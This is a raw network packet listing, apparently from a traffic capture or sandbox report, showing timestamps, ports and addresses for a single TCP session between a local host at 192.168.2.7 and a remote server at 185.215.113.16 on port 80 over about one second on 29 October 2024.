Oct 29, 2024 20:36:18.745246887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.745256901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.745270014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.745280027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.745296001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.745316029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.745326996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.745357990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.773921967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.773936987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.773947954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774013996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774029970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774034023 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.774044037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774051905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.774058104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774077892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.774099112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.774110079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774122953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774142027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.774147034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774168968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.774183989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.774277925 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774287939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.774322987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.788064003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788081884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788103104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788115025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788125992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788141012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788186073 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.788223028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.788271904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788281918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788312912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.788352013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788362026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.788414955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.788983107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789002895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789015055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789041996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789058924 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789067030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789077044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789097071 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789127111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789144993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789156914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789189100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789201975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789361000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789413929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789427996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789439917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789450884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789474964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789483070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789495945 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789513111 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789540052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789551020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789566040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789576054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789581060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789589882 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789604902 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.789616108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.789648056 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816548109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816564083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816627026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816654921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816669941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816699028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816705942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816716909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816728115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816732883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816732883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816752911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816770077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816776991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816806078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816843987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816862106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.816890001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.816905022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858417034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858438969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858449936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858539104 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858561993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858567953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858578920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858591080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858601093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858607054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858616114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858639956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858716011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858731031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858741999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858752966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858753920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858763933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.858786106 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.858805895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.860893011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.860935926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.860946894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.860953093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.860971928 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.860985041 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861092091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861104012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861114979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861129045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861144066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861193895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861314058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861367941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861408949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861419916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861428976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861439943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861454964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861459017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861468077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861478090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861480951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861494064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861498117 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861507893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861515045 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861546993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861550093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861562014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861572027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861582994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861593008 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861603975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861614943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861617088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861628056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861637115 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861653090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861680984 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861814976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861828089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861839056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.861867905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.861892939 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.862957001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.862968922 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.862978935 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863015890 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.863033056 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.863042116 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863051891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863061905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863080025 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.863111019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.863118887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863132000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863142014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863147020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.863162041 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.863172054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.890815973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.890835047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.890845060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.890856981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.890897989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.890909910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.891000986 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.891028881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.891074896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.891128063 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.891161919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.891174078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.891197920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.891212940 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905011892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905050993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905062914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905126095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905124903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905138969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905154943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905155897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905168056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905179024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905184031 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905211926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905241966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905246019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905260086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905272007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905287027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905309916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905776978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905797005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905812025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905838966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905863047 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905891895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905904055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905915022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905941010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.905972004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.905975103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906021118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906255960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906274080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906285048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906316042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906322956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906336069 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906358004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906359911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906378984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906403065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906404018 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906466007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906485081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906523943 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906537056 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906565905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906615973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906641960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906655073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906665087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.906697989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.906723022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.933408022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933449030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933461905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933473110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933479071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933528900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933542013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933540106 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.933552980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933563948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933593988 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.933609009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.933641911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933654070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.933681011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.933695078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975621939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975657940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975707054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975720882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975733995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975770950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975780964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975819111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975831032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975841999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975862026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975866079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975884914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975913048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975914001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975928068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.975945950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.975967884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.985862970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.985932112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.985949993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.985955000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.985963106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.985970974 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.985975981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.985987902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986001968 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986005068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986018896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986026049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986036062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986064911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986116886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986129045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986140013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986150026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986150980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986164093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986166000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986186028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986212969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986309052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986320972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986339092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986342907 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986352921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986361980 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986366034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986373901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986381054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986386061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986394882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986399889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986414909 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986433983 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986630917 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986644983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986661911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986669064 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986675024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986689091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986692905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986701012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986712933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986723900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986732006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986737013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986745119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986756086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986768961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986768961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986774921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986782074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986793995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986799955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986805916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986805916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986814976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.986824036 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.986857891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.987009048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.987049103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:19.008927107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.008956909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:19.008972883 CET	80	49983	185.215.113.16	192.168.2.7
